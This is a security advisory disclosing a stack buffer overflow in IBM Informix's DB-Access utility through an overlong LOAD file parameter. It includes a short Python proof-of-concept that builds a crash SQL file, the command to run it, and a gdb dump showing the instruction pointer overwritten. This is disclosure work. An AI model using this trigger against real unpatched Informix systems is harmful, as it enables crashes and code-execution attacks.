DefenseCode Security Advisory
IBM Informix DB-Access Buffer Overflow
Advisory ID: DC-2017-04-001
Advisory Title: IBM Informix DB-Access Buffer Overflow
Software: IBM Informix
Vendor Status: Vendor Contacted / Not Fixed
Release Date: 11.07.2017
1. General Overview
IBM Informix DB-Access utility is vulnerable to a stack based buffer overflow,
caused by improper bounds checking which could allow an attacker to execute
arbitrary code. The vulnerability is triggered by providing an overly long
file parameter value inside a LOAD statement, which is used to insert data
from an operating-system file into an existing table or view.
2. Software Overview
Informix is one of the world’s most widely used database servers with users
ranging from the world’s largest corporations to start-ups. IBM Informix
incorporates design concepts that are significantly different from traditional
relational platforms, resulting in extremely high levels of performance and
availability, distinctive capabilities in data replication and
scalability, and minimal administrative overhead.
The DB-Access utility is included with the Informix server and with the Informix
Client Software Development Kit. DB-Access provides a menu-driven interface for
entering, running, and debugging SQL statements and Stored Procedure Language
routines. DB-Access can also be ran interactively from the command line.
3. Brief Vulnerability Description
By providing a specially crafted command file to the DB-Access command line
utility it is possible to cause a buffer overflow, overwriting the instruction
pointer (EIP) and thus hijack the execution flow of the program. Crafted file
contains a LOAD statement with an overly long file parameter that will
3.1 Proof of Concept
The following python script will generate a proof of concept .sql crash test
file that can be used to verify the vulnerability:
load_overflow = 'A' * 5000
statement = "LOAD FROM '" + load_overflow + " test' INSERT INTO example;"
crash_file = open("crash.sql", "w")
PoC usage: dbaccess <name of existing database> crash.sql
Registers state following the overflow:
(gdb) i r
eax 0xffffffff -1
ecx 0xb7bf4d00 -1212199680
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xbfffce40 0xbfffce40
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x41414141 1094795585
eip 0x41414141 0x41414141
PoC tested on: Informix Innovator-C Edition for Linux x86 32
The vulnerability has not been addressed by vendor in a 90 days period
following the submission. Vendor has expressed an intention of fixing the
vulnerability in a future update.
Vulnerability discovered by Leon Juranic, further analysis by Bosko
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